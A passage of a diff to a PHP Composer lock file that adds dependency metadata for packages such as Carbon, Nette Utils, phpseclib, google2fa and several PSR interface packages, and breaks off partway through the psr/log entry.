"require": { + "php": "^7.2.5 || ^8.0", + "symfony/polyfill-mbstring": "^1.17" + }, + "require-dev": { + "composer/xdebug-handler": "^3.0.3", + "phpunit/phpunit": "^8.5.52" + }, + "bin": [ + "bin/jp.php" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.9-dev" + } + }, + "autoload": { + "files": [ + "src/JmesPath.php" + ], + "psr-4": { + "JmesPath\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + } + ], + "description": "Declaratively specify how to extract elements from a JSON document", + "keywords": [ + "json", + "jsonpath" + ], + "support": { + "issues": "https://github.com/jmespath/jmespath.php/issues", + "source": "https://github.com/jmespath/jmespath.php/tree/2.9.2" + }, + "time": "2026-07-06T18:56:19+00:00" + }, + { + "name": "myclabs/deep-copy", + "version": "1.13.4", + "source": { + "type": "git", + "url": "https://github.com/myclabs/DeepCopy.git", + "reference": "07d290f0c47959fd5eed98c95ee5602db07e0b6a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/myclabs/DeepCopy/zipball/07d290f0c47959fd5eed98c95ee5602db07e0b6a", + "reference": "07d290f0c47959fd5eed98c95ee5602db07e0b6a", + "shasum": "" + }, + "require": { + "php": "^7.1 || ^8.0" + }, + "conflict": { + "doctrine/collections": "<1.6.8", + "doctrine/common": "<2.13.3 || >=3 <3.2.2" + }, + "require-dev": { + "doctrine/collections": "^1.6.8", + "doctrine/common": "^2.13.3 || ^3.2.2", + "phpspec/prophecy": "^1.10", + "phpunit/phpunit": "^7.5.20 || ^8.5.23 || ^9.5.13" + }, + "type": "library", + "autoload": { + "files": [ + "src/DeepCopy/deep_copy.php" + ], + "psr-4": { + "DeepCopy\\": "src/DeepCopy/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "Create deep copies (clones) of your objects", + "keywords": [ + "clone", + "copy", + "duplicate", + "object", + "object graph" + ], + "support": { + "issues": "https://github.com/myclabs/DeepCopy/issues", + "source": "https://github.com/myclabs/DeepCopy/tree/1.13.4" + }, + "funding": [ + { + "url": "https://tidelift.com/funding/github/packagist/myclabs/deep-copy", + "type": "tidelift" + } + ], + "time": "2025-08-01T08:46:24+00:00" + }, + { + "name": "nesbot/carbon", + "version": "3.13.1", + "source": { + "type": "git", + "url": "https://github.com/CarbonPHP/carbon.git", + "reference": "2937ad3d1d2c506fd2bc97d571438a95641f44e2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/CarbonPHP/carbon/zipball/2937ad3d1d2c506fd2bc97d571438a95641f44e2", + "reference": "2937ad3d1d2c506fd2bc97d571438a95641f44e2", + "shasum": "" + }, + "require": { + "carbonphp/carbon-doctrine-types": "<100.0", + "ext-json": "*", + "php": "^8.1", + "psr/clock": "^1.0", + "symfony/clock": "^6.3.12 || ^7.0 || ^8.0", + "symfony/polyfill-mbstring": "^1.0", + "symfony/translation": "^4.4.18 || ^5.2.1 || ^6.0 || ^7.0 || ^8.0" + }, + "provide": { + "psr/clock-implementation": "1.0" + }, + "require-dev": { + "doctrine/dbal": "^3.6.3 || ^4.0", + "doctrine/orm": "^2.15.2 || ^3.0", + "friendsofphp/php-cs-fixer": "^v3.87.1", + "kylekatarnls/multi-tester": "^2.5.3", + "phpmd/phpmd": "^2.15.0", + "phpstan/extension-installer": "^1.4.3", + "phpstan/phpstan": "^2.1.22", + "phpunit/phpunit": "^10.5.53", + "squizlabs/php_codesniffer": "^3.13.4 || ^4.0.0" + }, + "bin": [ + "bin/carbon" + ], + "type": "library", + "extra": { + "laravel": { + "providers": [ + "Carbon\\Laravel\\ServiceProvider" + ] + }, + "phpstan": { + "includes": [ + "extension.neon" + ] + }, + "branch-alias": { + "dev-2.x": "2.x-dev", + "dev-master": "3.x-dev" + } + }, + "autoload": { + "psr-4": { + "Carbon\\": "src/Carbon/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Brian Nesbitt", + "email": "brian@nesbot.com", + "homepage": "https://markido.com" + }, + { + "name": "kylekatarnls", + "homepage": "https://github.com/kylekatarnls" + } + ], + "description": "An API extension for DateTime that supports 281 different languages.", + "homepage": "https://carbonphp.github.io/carbon/", + "keywords": [ + "date", + "datetime", + "time" + ], + "support": { + "docs": "https://carbonphp.github.io/carbon/guide/getting-started/introduction.html", + "issues": "https://github.com/CarbonPHP/carbon/issues", + "source": "https://github.com/CarbonPHP/carbon" + }, + "funding": [ + { + "url": "https://github.com/sponsors/kylekatarnls", + "type": "github" + }, + { + "url": "https://opencollective.com/Carbon#sponsor", + "type": "opencollective" + }, + { + "url": "https://tidelift.com/subscription/pkg/packagist-nesbot-carbon?utm_source=packagist-nesbot-carbon&utm_medium=referral&utm_campaign=readme", + "type": "tidelift" + } + ], + "time": "2026-07-09T18:23:49+00:00" + }, + { + "name": "nette/schema", + "version": "v1.3.5", + "source": { + "type": "git", + "url": "https://github.com/nette/schema.git", + "reference": "f0ab1a3cda782dbc5da270d28545236aa80c4002" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/nette/schema/zipball/f0ab1a3cda782dbc5da270d28545236aa80c4002", + "reference": "f0ab1a3cda782dbc5da270d28545236aa80c4002", + "shasum": "" + }, + "require": { + "nette/utils": "^4.0", + "php": "8.1 - 8.5" + }, + "require-dev": { + "nette/phpstan-rules": "^1.0", + "nette/tester": "^2.6", + "phpstan/extension-installer": "^1.4@stable", + "phpstan/phpstan": "^2.1.39@stable", + "tracy/tracy": "^2.8" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.3-dev" + } + }, + "autoload": { + "psr-4": { + "Nette\\": "src" + }, + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause", + "GPL-2.0-only", + "GPL-3.0-only" + ], + "authors": [ + { + "name": "David Grudl", + "homepage": "https://davidgrudl.com" + }, + { + "name": "Nette Community", + "homepage": "https://nette.org/contributors" + } + ], + "description": "📐 Nette Schema: validating data structures against a given Schema.", + "homepage": "https://nette.org", + "keywords": [ + "config", + "nette" + ], + "support": { + "issues": "https://github.com/nette/schema/issues", + "source": "https://github.com/nette/schema/tree/v1.3.5" + }, + "time": "2026-02-23T03:47:12+00:00" + }, + { + "name": "nette/utils", + "version": "v4.1.5", + "source": { + "type": "git", + "url": "https://github.com/nette/utils.git", + "reference": "b043439dbdf954e6c28b5ea7e34b0100f83165e0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/nette/utils/zipball/b043439dbdf954e6c28b5ea7e34b0100f83165e0", + "reference": "b043439dbdf954e6c28b5ea7e34b0100f83165e0", + "shasum": "" + }, + "require": { + "php": "8.2 - 8.5" + }, + "conflict": { + "nette/finder": "<3", + "nette/schema": "<1.2.2" + }, + "require-dev": { + "jetbrains/phpstorm-attributes": "^1.2", + "nette/phpstan-rules": "^1.0", + "nette/tester": "^2.5", + "phpstan/extension-installer": "^1.4@stable", + "phpstan/phpstan": "^2.1@stable", + "tracy/tracy": "^2.9" + }, + "suggest": { + "ext-gd": "to use Image", + "ext-iconv": "to use Strings::chr(), ord() and reverse()", + "ext-intl": "to use Strings::webalize(), toAscii(), normalize() and compare()", + "ext-json": "to use Nette\\Utils\\Json", + "ext-mbstring": "to use Strings::lower() etc...", + "ext-tokenizer": "to use Nette\\Utils\\Reflection::getUseStatements()" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.1-dev" + } + }, + "autoload": { + "psr-4": { + "Nette\\": "src" + }, + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause", + "GPL-2.0-only", + "GPL-3.0-only" + ], + "authors": [ + { + "name": "David Grudl", + "homepage": "https://davidgrudl.com" + }, + { + "name": "Nette Community", + "homepage": "https://nette.org/contributors" + } + ], + "description": "🛠 Nette Utils: lightweight utilities for string & array manipulation, image handling, safe JSON encoding/decoding, validation, slug or strong password generating etc.", + "homepage": "https://nette.org", + "keywords": [ + "array", + "core", + "datetime", + "images", + "json", + "nette", + "paginator", + "password", + "slugify", + "string", + "unicode", + "utf-8", + "utility", + "validation" + ], + "support": { + "issues": "https://github.com/nette/utils/issues", + "source": "https://github.com/nette/utils/tree/v4.1.5" + }, + "time": "2026-07-17T23:02:45+00:00" + }, + { + "name": "nikic/php-parser", + "version": "v5.8.0", + "source": { + "type": "git", + "url": "https://github.com/nikic/PHP-Parser.git", + "reference": "044a6a392ff8ad0d61f14370a5fbbd0a0107152f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/nikic/PHP-Parser/zipball/044a6a392ff8ad0d61f14370a5fbbd0a0107152f", + "reference": "044a6a392ff8ad0d61f14370a5fbbd0a0107152f", + "shasum": "" + }, + "require": { + "ext-json": "*", + "ext-tokenizer": "*", + "php": ">=7.4" + }, + "require-dev": { + "ircmaxell/php-yacc": "^0.0.7", + "phpunit/phpunit": "^9.0" + }, + "bin": [ + "bin/php-parse" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.x-dev" + } + }, + "autoload": { + "psr-4": { + "PhpParser\\": "lib/PhpParser" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Nikita Popov" + } + ], + "description": "A PHP parser written in PHP", + "keywords": [ + "parser", + "php" + ], + "support": { + "issues": "https://github.com/nikic/PHP-Parser/issues", + "source": "https://github.com/nikic/PHP-Parser/tree/v5.8.0" + }, + "time": "2026-07-04T14:30:18+00:00" + }, + { + "name": "nunomaduro/termwind", + "version": "v2.4.0", + "source": { + "type": "git", + "url": "https://github.com/nunomaduro/termwind.git", + "reference": "712a31b768f5daea284c2169a7d227031001b9a8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/nunomaduro/termwind/zipball/712a31b768f5daea284c2169a7d227031001b9a8", + "reference": "712a31b768f5daea284c2169a7d227031001b9a8", + "shasum": "" + }, + "require": { + "ext-mbstring": "*", + "php": "^8.2", + "symfony/console": "^7.4.4 || ^8.0.4" + }, + "require-dev": { + "illuminate/console": "^11.47.0", + "laravel/pint": "^1.27.1", + "mockery/mockery": "^1.6.12", + "pestphp/pest": "^2.36.0 || ^3.8.4 || ^4.3.2", + "phpstan/phpstan": "^1.12.32", + "phpstan/phpstan-strict-rules": "^1.6.2", + "symfony/var-dumper": "^7.3.5 || ^8.0.4", + "thecodingmachine/phpstan-strict-rules": "^1.0.0" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "Termwind\\Laravel\\TermwindServiceProvider" + ] + }, + "branch-alias": { + "dev-2.x": "2.x-dev" + } + }, + "autoload": { + "files": [ + "src/Functions.php" + ], + "psr-4": { + "Termwind\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nuno Maduro", + "email": "enunomaduro@gmail.com" + } + ], + "description": "It's like Tailwind CSS, but for the console.", + "keywords": [ + "cli", + "console", + "css", + "package", + "php", + "style" + ], + "support": { + "issues": "https://github.com/nunomaduro/termwind/issues", + "source": "https://github.com/nunomaduro/termwind/tree/v2.4.0" + }, + "funding": [ + { + "url": "https://www.paypal.com/paypalme/enunomaduro", + "type": "custom" + }, + { + "url": "https://github.com/nunomaduro", + "type": "github" + }, + { + "url": "https://github.com/xiCO2k", + "type": "github" + } + ], + "time": "2026-02-16T23:10:27+00:00" + }, + { + "name": "paragonie/constant_time_encoding", + "version": "v3.1.3", + "source": { + "type": "git", + "url": "https://github.com/paragonie/constant_time_encoding.git", + "reference": "d5b01a39b3415c2cd581d3bd3a3575c1ebbd8e77" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/paragonie/constant_time_encoding/zipball/d5b01a39b3415c2cd581d3bd3a3575c1ebbd8e77", + "reference": "d5b01a39b3415c2cd581d3bd3a3575c1ebbd8e77", + "shasum": "" + }, + "require": { + "php": "^8" + }, + "require-dev": { + "infection/infection": "^0", + "nikic/php-fuzzer": "^0", + "phpunit/phpunit": "^9|^10|^11", + "vimeo/psalm": "^4|^5|^6" + }, + "type": "library", + "autoload": { + "psr-4": { + "ParagonIE\\ConstantTime\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Paragon Initiative Enterprises", + "email": "security@paragonie.com", + "homepage": "https://paragonie.com", + "role": "Maintainer" + }, + { + "name": "Steve 'Sc00bz' Thomas", + "email": "steve@tobtu.com", + "homepage": "https://www.tobtu.com", + "role": "Original Developer" + } + ], + "description": "Constant-time Implementations of RFC 4648 Encoding (Base-64, Base-32, Base-16)", + "keywords": [ + "base16", + "base32", + "base32_decode", + "base32_encode", + "base64", + "base64_decode", + "base64_encode", + "bin2hex", + "encoding", + "hex", + "hex2bin", + "rfc4648" + ], + "support": { + "email": "info@paragonie.com", + "issues": "https://github.com/paragonie/constant_time_encoding/issues", + "source": "https://github.com/paragonie/constant_time_encoding" + }, + "time": "2025-09-24T15:06:41+00:00" + }, + { + "name": "paragonie/random_compat", + "version": "v9.99.100", + "source": { + "type": "git", + "url": "https://github.com/paragonie/random_compat.git", + "reference": "996434e5492cb4c3edcb9168db6fbb1359ef965a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/paragonie/random_compat/zipball/996434e5492cb4c3edcb9168db6fbb1359ef965a", + "reference": "996434e5492cb4c3edcb9168db6fbb1359ef965a", + "shasum": "" + }, + "require": { + "php": ">= 7" + }, + "require-dev": { + "phpunit/phpunit": "4.*|5.*", + "vimeo/psalm": "^1" + }, + "suggest": { + "ext-libsodium": "Provides a modern crypto API that can be used to generate random bytes." + }, + "type": "library", + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Paragon Initiative Enterprises", + "email": "security@paragonie.com", + "homepage": "https://paragonie.com" + } + ], + "description": "PHP 5.x polyfill for random_bytes() and random_int() from PHP 7", + "keywords": [ + "csprng", + "polyfill", + "pseudorandom", + "random" + ], + "support": { + "email": "info@paragonie.com", + "issues": "https://github.com/paragonie/random_compat/issues", + "source": "https://github.com/paragonie/random_compat" + }, + "time": "2020-10-15T08:29:30+00:00" + }, + { + "name": "phpoption/phpoption", + "version": "1.9.5", + "source": { + "type": "git", + "url": "https://github.com/schmittjoh/php-option.git", + "reference": "75365b91986c2405cf5e1e012c5595cd487a98be" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/schmittjoh/php-option/zipball/75365b91986c2405cf5e1e012c5595cd487a98be", + "reference": "75365b91986c2405cf5e1e012c5595cd487a98be", + "shasum": "" + }, + "require": { + "php": "^7.2.5 || ^8.0" + }, + "require-dev": { + "bamarni/composer-bin-plugin": "^1.8.2", + "phpunit/phpunit": "^8.5.44 || ^9.6.25 || ^10.5.53 || ^11.5.34" + }, + "type": "library", + "extra": { + "bamarni-bin": { + "bin-links": true, + "forward-command": false + }, + "branch-alias": { + "dev-master": "1.9-dev" + } + }, + "autoload": { + "psr-4": { + "PhpOption\\": "src/PhpOption/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "Johannes M. Schmitt", + "email": "schmittjoh@gmail.com", + "homepage": "https://github.com/schmittjoh" + }, + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + } + ], + "description": "Option Type for PHP", + "keywords": [ + "language", + "option", + "php", + "type" + ], + "support": { + "issues": "https://github.com/schmittjoh/php-option/issues", + "source": "https://github.com/schmittjoh/php-option/tree/1.9.5" + }, + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/phpoption/phpoption", + "type": "tidelift" + } + ], + "time": "2025-12-27T19:41:33+00:00" + }, + { + "name": "phpseclib/phpseclib", + "version": "3.0.56", + "source": { + "type": "git", + "url": "https://github.com/phpseclib/phpseclib.git", + "reference": "7adbbe38cde25e2df2116dbf2673c407e24fa305" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpseclib/phpseclib/zipball/7adbbe38cde25e2df2116dbf2673c407e24fa305", + "reference": "7adbbe38cde25e2df2116dbf2673c407e24fa305", + "shasum": "" + }, + "require": { + "paragonie/constant_time_encoding": "^1|^2|^3", + "paragonie/random_compat": "^1.4|^2.0|^9.99.99", + "php": ">=5.6.1" + }, + "require-dev": { + "phpunit/phpunit": "*" + }, + "suggest": { + "ext-dom": "Install the DOM extension to load XML formatted public keys.", + "ext-gmp": "Install the GMP (GNU Multiple Precision) extension in order to speed up arbitrary precision integer arithmetic operations.", + "ext-libsodium": "SSH2/SFTP can make use of some algorithms provided by the libsodium-php extension.", + "ext-mcrypt": "Install the Mcrypt extension in order to speed up a few other cryptographic operations.", + "ext-openssl": "Install the OpenSSL extension in order to speed up a wide variety of cryptographic operations." + }, + "type": "library", + "autoload": { + "files": [ + "phpseclib/bootstrap.php" + ], + "psr-4": { + "phpseclib3\\": "phpseclib/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jim Wigginton", + "email": "terrafrost@php.net", + "role": "Lead Developer" + }, + { + "name": "Patrick Monnerat", + "email": "pm@datasphere.ch", + "role": "Developer" + }, + { + "name": "Andreas Fischer", + "email": "bantu@phpbb.com", + "role": "Developer" + }, + { + "name": "Hans-Jürgen Petrich", + "email": "petrich@tronic-media.com", + "role": "Developer" + }, + { + "name": "Graham Campbell", + "email": "graham@alt-three.com", + "role": "Developer" + } + ], + "description": "PHP Secure Communications Library - Pure-PHP implementations of RSA, AES, SSH2, SFTP, X.509 etc.", + "homepage": "http://phpseclib.sourceforge.net", + "keywords": [ + "BigInteger", + "aes", + "asn.1", + "asn1", + "blowfish", + "crypto", + "cryptography", + "encryption", + "rsa", + "security", + "sftp", + "signature", + "signing", + "ssh", + "twofish", + "x.509", + "x509" + ], + "support": { + "issues": "https://github.com/phpseclib/phpseclib/issues", + "source": "https://github.com/phpseclib/phpseclib/tree/3.0.56" + }, + "funding": [ + { + "url": "https://github.com/terrafrost", + "type": "github" + }, + { + "url": "https://www.patreon.com/phpseclib", + "type": "patreon" + }, + { + "url": "https://tidelift.com/funding/github/packagist/phpseclib/phpseclib", + "type": "tidelift" + } + ], + "time": "2026-08-03T04:36:50+00:00" + }, + { + "name": "phpstan/phpdoc-parser", + "version": "2.3.3", + "source": { + "type": "git", + "url": "https://github.com/phpstan/phpdoc-parser.git", + "reference": "fb19eedd2bb67ff8cf7a5502ad329e701d6398a3" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpstan/phpdoc-parser/zipball/fb19eedd2bb67ff8cf7a5502ad329e701d6398a3", + "reference": "fb19eedd2bb67ff8cf7a5502ad329e701d6398a3", + "shasum": "" + }, + "require": { + "php": "^7.4 || ^8.0" + }, + "require-dev": { + "doctrine/annotations": "^2.0", + "nikic/php-parser": "^5.3.0", + "php-parallel-lint/php-parallel-lint": "^1.2", + "phpstan/extension-installer": "^1.0", + "phpstan/phpstan": "^2.0", + "phpstan/phpstan-phpunit": "^2.0", + "phpstan/phpstan-strict-rules": "^2.0", + "phpunit/phpunit": "^9.6", + "symfony/process": "^5.2" + }, + "type": "library", + "autoload": { + "psr-4": { + "PHPStan\\PhpDocParser\\": [ + "src/" + ] + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "PHPDoc parser with support for nullable, intersection and generic types", + "support": { + "issues": "https://github.com/phpstan/phpdoc-parser/issues", + "source": "https://github.com/phpstan/phpdoc-parser/tree/2.3.3" + }, + "time": "2026-07-08T07:01:06+00:00" + }, + { + "name": "pragmarx/google2fa", + "version": "v9.0.0", + "source": { + "type": "git", + "url": "https://github.com/antonioribeiro/google2fa.git", + "reference": "e6bc62dd6ae83acc475f57912e27466019a1f2cf" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/antonioribeiro/google2fa/zipball/e6bc62dd6ae83acc475f57912e27466019a1f2cf", + "reference": "e6bc62dd6ae83acc475f57912e27466019a1f2cf", + "shasum": "" + }, + "require": { + "paragonie/constant_time_encoding": "^1.0|^2.0|^3.0", + "php": "^7.1|^8.0" + }, + "require-dev": { + "phpstan/phpstan": "^1.9", + "phpunit/phpunit": "^7.5.15|^8.5|^9.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "PragmaRX\\Google2FA\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Antonio Carlos Ribeiro", + "email": "acr@antoniocarlosribeiro.com", + "role": "Creator & Designer" + } + ], + "description": "A One Time Password Authentication package, compatible with Google Authenticator.", + "keywords": [ + "2fa", + "Authentication", + "Two Factor Authentication", + "google2fa" + ], + "support": { + "issues": "https://github.com/antonioribeiro/google2fa/issues", + "source": "https://github.com/antonioribeiro/google2fa/tree/v9.0.0" + }, + "time": "2025-09-19T22:51:08+00:00" + }, + { + "name": "projectsend/community-modules", + "version": "dev-main", + "source": { + "type": "git", + "url": "https://github.com/projectsend/community-modules.git", + "reference": "6f37aebd6b12f5a3411a33ea0823991529641955" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/projectsend/community-modules/zipball/6f37aebd6b12f5a3411a33ea0823991529641955", + "reference": "6f37aebd6b12f5a3411a33ea0823991529641955", + "shasum": "" + }, + "require": { + "illuminate/support": "^12.0", + "inertiajs/inertia-laravel": "^2.0", + "php": "^8.4" + }, + "require-dev": { + "larastan/larastan": "^3.10", + "orchestra/testbench": "^10.0", + "pestphp/pest": "^3.8" + }, + "default-branch": true, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "ProjectSend\\CommunityModules\\CommunityModulesServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "ProjectSend\\CommunityModules\\": "src/" + } + }, + "autoload-dev": { + "psr-4": { + "ProjectSend\\CommunityModules\\Tests\\": "tests/" + } + }, + "license": [ + "GPL-2.0-or-later" + ], + "description": "Community-exclusive feature modules for ProjectSend — free software, never part of the hosted Cloud edition.", + "support": { + "source": "https://github.com/projectsend/community-modules/tree/main", + "issues": "https://github.com/projectsend/community-modules/issues" + }, + "time": "2026-08-13T13:55:16+00:00" + }, + { + "name": "psr/clock", + "version": "1.0.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/clock.git", + "reference": "e41a24703d4560fd0acb709162f73b8adfc3aa0d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/clock/zipball/e41a24703d4560fd0acb709162f73b8adfc3aa0d", + "reference": "e41a24703d4560fd0acb709162f73b8adfc3aa0d", + "shasum": "" + }, + "require": { + "php": "^7.0 || ^8.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Psr\\Clock\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interface for reading the clock.", + "homepage": "https://github.com/php-fig/clock", + "keywords": [ + "clock", + "now", + "psr", + "psr-20", + "time" + ], + "support": { + "issues": "https://github.com/php-fig/clock/issues", + "source": "https://github.com/php-fig/clock/tree/1.0.0" + }, + "time": "2022-11-25T14:36:26+00:00" + }, + { + "name": "psr/container", + "version": "2.0.2", + "source": { + "type": "git", + "url": "https://github.com/php-fig/container.git", + "reference": "c71ecc56dfe541dbd90c5360474fbc405f8d5963" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/container/zipball/c71ecc56dfe541dbd90c5360474fbc405f8d5963", + "reference": "c71ecc56dfe541dbd90c5360474fbc405f8d5963", + "shasum": "" + }, + "require": { + "php": ">=7.4.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Container\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common Container Interface (PHP FIG PSR-11)", + "homepage": "https://github.com/php-fig/container", + "keywords": [ + "PSR-11", + "container", + "container-interface", + "container-interop", + "psr" + ], + "support": { + "issues": "https://github.com/php-fig/container/issues", + "source": "https://github.com/php-fig/container/tree/2.0.2" + }, + "time": "2021-11-05T16:47:00+00:00" + }, + { + "name": "psr/event-dispatcher", + "version": "1.0.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/event-dispatcher.git", + "reference": "dbefd12671e8a14ec7f180cab83036ed26714bb0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/event-dispatcher/zipball/dbefd12671e8a14ec7f180cab83036ed26714bb0", + "reference": "dbefd12671e8a14ec7f180cab83036ed26714bb0", + "shasum": "" + }, + "require": { + "php": ">=7.2.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\EventDispatcher\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "description": "Standard interfaces for event handling.", + "keywords": [ + "events", + "psr", + "psr-14" + ], + "support": { + "issues": "https://github.com/php-fig/event-dispatcher/issues", + "source": "https://github.com/php-fig/event-dispatcher/tree/1.0.0" + }, + "time": "2019-01-08T18:20:26+00:00" + }, + { + "name": "psr/http-client", + "version": "1.0.3", + "source": { + "type": "git", + "url": "https://github.com/php-fig/http-client.git", + "reference": "bb5906edc1c324c9a05aa0873d40117941e5fa90" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/http-client/zipball/bb5906edc1c324c9a05aa0873d40117941e5fa90", + "reference": "bb5906edc1c324c9a05aa0873d40117941e5fa90", + "shasum": "" + }, + "require": { + "php": "^7.0 || ^8.0", + "psr/http-message": "^1.0 || ^2.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Http\\Client\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interface for HTTP clients", + "homepage": "https://github.com/php-fig/http-client", + "keywords": [ + "http", + "http-client", + "psr", + "psr-18" + ], + "support": { + "source": "https://github.com/php-fig/http-client" + }, + "time": "2023-09-23T14:17:50+00:00" + }, + { + "name": "psr/http-factory", + "version": "1.1.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/http-factory.git", + "reference": "2b4765fddfe3b508ac62f829e852b1501d3f6e8a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/http-factory/zipball/2b4765fddfe3b508ac62f829e852b1501d3f6e8a", + "reference": "2b4765fddfe3b508ac62f829e852b1501d3f6e8a", + "shasum": "" + }, + "require": { + "php": ">=7.1", + "psr/http-message": "^1.0 || ^2.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Http\\Message\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "PSR-17: Common interfaces for PSR-7 HTTP message factories", + "keywords": [ + "factory", + "http", + "message", + "psr", + "psr-17", + "psr-7", + "request", + "response" + ], + "support": { + "source": "https://github.com/php-fig/http-factory" + }, + "time": "2024-04-15T12:06:14+00:00" + }, + { + "name": "psr/http-message", + "version": "2.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/http-message.git", + "reference": "402d35bcb92c70c026d1a6a9883f06b2ead23d71" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/http-message/zipball/402d35bcb92c70c026d1a6a9883f06b2ead23d71", + "reference": "402d35bcb92c70c026d1a6a9883f06b2ead23d71", + "shasum": "" + }, + "require": { + "php": "^7.2 || ^8.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Http\\Message\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interface for HTTP messages", + "homepage": "https://github.com/php-fig/http-message", + "keywords": [ + "http", + "http-message", + "psr", + "psr-7", + "request", + "response" + ], + "support": { + "source": "https://github.com/php-fig/http-message/tree/2.0" + }, + "time": "2023-04-04T09:54:51+00:00" + }, + { + "name": "psr/log", + "version": "3.0.2", + "source": { + "type": "git", + "url": "https://github.com/php-fig/log.git", + "reference": "f16e1d5863e37f8d8c2a01719f5b34baa2b714d3" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/log/zipball/f16e1d5863e37f8d8c2a01719f5b34baa2b714d3", + "reference": "f16e1d5863e37f8d8c2a01719f5b34baa2b714d3", + "shasum": "" + }, + "require": { + "php": ">=8.0.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Log\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ 